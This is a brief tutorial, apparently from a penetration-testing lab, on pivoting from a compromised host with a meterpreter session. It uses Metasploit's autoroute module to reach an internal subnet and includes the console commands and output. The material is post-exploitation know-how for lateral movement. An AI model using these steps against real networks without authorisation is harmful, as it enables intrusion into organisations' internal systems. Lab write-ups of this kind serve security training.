This is just another pivoting tutorial(Nothing special). We will try to find other hosts in the internal network of a organization and will do basic enumeration on discovered hosts.
Prerequisite:
Already compromised host with meterpreter session.
- Let’s check available meterpreter sessions:
sessions -l
2. Using autoroute module to create a pivot for the other network i.e. 172.30.111.0/24 . After running this all the metasploit modules will be able to access internal network 172.30.111.0/24.
(Here in this lab scenario, we already know this subnet exists)
msf6 post(multi/manage/autoroute) > set session 1
session => 1
msf6 post(multi/manage/autoroute) > set subnet 172.30.111.0/24
subnet => 172.30.111.0/24
msf6 post(multi/manage/autoroute) > run[!] SESSION may not be compatible with this module.
[*] Running module against ELS-WIN7
[*] Searching for subnets to autoroute.
[+] Route added to subnet 10.130.40.0/255.255.255.0 from host's routing table.
[*] Post module execution completed
Note: Set “CMD” option to “add” if “autoadd” doesn’t work.